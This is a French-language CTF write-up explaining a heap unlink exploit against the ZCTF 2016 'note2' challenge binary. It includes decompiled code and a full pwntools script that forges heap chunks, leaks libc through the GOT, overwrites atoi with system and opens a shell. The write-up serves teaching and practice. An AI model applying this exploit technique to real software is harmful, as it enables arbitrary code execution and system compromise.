Exploitation de la vulnérabilité Unlink dans le défi CTF note2 de ZCTF 2016

La vulnérabilité Unlink est une technique avancée d'exploitation de tas, souvent rencontrée dans les défis CTF. Cet article examine son application dans le programme note2 du concours ZCTF 2016, en se concentrant sur les mécanismes permettant une exécution de code arbitraire à travers une mauvaise gestion des allocations mémoire.

Analyse du programme cible

Après avoir vérifié les caractéristiques binaires avec checksec et décompilé le code avec IDA Pro, le programme principal gère plusieurs opérations sur des notes via un menu interactif. Les fonctionnalités clés incluent l'ajout, l'affichage, l'édition et la suppression de notes, avec des restrictions sur les tailles et les identifiants.

void main_loop() {
    init_buffers();
    get_user_info();
    while (1) {
        int choice = display_menu();
        switch (choice) {
            case 1: create_note(); break;
            case 2: display_note(); break;
            case 3: modify_note(); break;
            case 4: remove_note(); break;
            case 5: exit_program(); break;
        }
    }
}

La fonction de création de note alloue une taille maximale de 128 octets, mais une faille dans la validation permet une entrée non bornée lorsque la taille est nulle, conduisant à un débordement de tas.

Identification des vulnérabilités

Deux problèmes critiques sont identifiés :

  • Lors de l'allocation d'une note avec une taille de zéro, la comparaison non signée dans la boucle de lecture permet d'écrire des données arbitraires, provoquant un débordement de tas.
  • L'édition d'une note génère une allocation intermédiaire qui n'est pas correctement libérée, laissant des pointeurs dans un état incohérent.
  • Un pointeur global stocké à une adresse fixe dans la section .bs sert à gérer les notes, offrant une cible pour la corruption mémoire.

Mécanisme d'expolitation Unlink

L'exploitation repose sur la construction de chunks falsifiés pour tromper la routine de libération. En créant un faux chunk adjacent à un chunk libre, l'opération unlink modifie le pointeur global pour pointer vers une adresse contrôlée. Cela permet ensuite de réécrire des adresses critiques, comme les entrées de la table GOT.

from pwn import *

def setup_exploit():
    conn = process('./vulnerable_binary')
    elf = ELF('./vulnerable_binary')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.log_level = 'info'

    def add_record(size, data):
        conn.sendlineafter('>>>', '1')
        conn.sendlineafter('size:', str(size))
        conn.sendlineafter('content:', data)

    def modify_record(idx, method, payload):
        conn.sendlineafter('>>>', '3')
        conn.sendlineafter('id:', str(idx))
        conn.sendlineafter('mode:', str(method))
        conn.sendlineafter('new data:', payload)

    def delete_record(idx):
        conn.sendlineafter('>>>', '4')
        conn.sendlineafter('id:', str(idx))

    # Initial data pour brouiller les pistes
    conn.sendlineafter('name:', 'user')
    conn.sendlineafter('address:', 'addr')

    # Construire des chunks pour le contournement
    target_ptr = 0x0000000000602120
    fake_fd = target_ptr - 0x18
    fake_bk = target_ptr - 0x10
    payload1 = b'A' * 8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + b'B' * 64 + p64(0x60)
    add_record(128, payload1)
    add_record(0, b'C' * 8)
    add_record(0x80, b'D' * 16)

    # Corrompre les métadonnées via une édition
    delete_record(1)
    payload2 = b'E' * 16 + p64(0xa0) + p64(0x90)
    add_record(0, payload2)

    # Déclencher l'unlink pour rediriger le pointeur
    delete_record(2)

    # Réécrire l'entrée GOT de atoi
    atoi_got = elf.got['atoi']
    modify_record(0, 1, b'F' * 0x18 + p64(atoi_got))
    conn.recvuntil('Content: ')
    leak = conn.recvline().strip()
    atoi_addr = u64(leak.ljust(8, b'\x00'))

    # Calculer l'adresse de system
    libc_base = atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']

    # Remplacer atoi par system
    modify_record(0, 1, p64(system_addr))
    conn.sendlineafter('>>>', '/bin/sh')
    conn.interactive()

if __name__ == '__main__':
    setup_exploit()

Disposition du tas lors de l'exploitation

L'état initial du tas après la création de trois notes montre une fragmentation contrôlée. Le premier contient un chunk falsifié pour contounrer les vérifications d'intégrité. Le second, avec une taille nulle, sert à déborder vers le troisième chunk, modifiant ses métadonnées. Lors de la libération du troisième chunk, l'unlink fusionne les espaces libres, écrasant le pointeur global.

Après cette manipulation, le pointeur global pointe vers une adresse calculée, permettant des lectures et écritures arbitraires. En remplaçant l'entrée de atoi dans la GOT par l'adresse de system, toute appel ultérieur à atoi exécute system, donnant accès à un shell.

Étiquettes: unlink heap overflow CTF exploitation note2 challenge ZCTF 2016

Publié le 1 juin à 09h21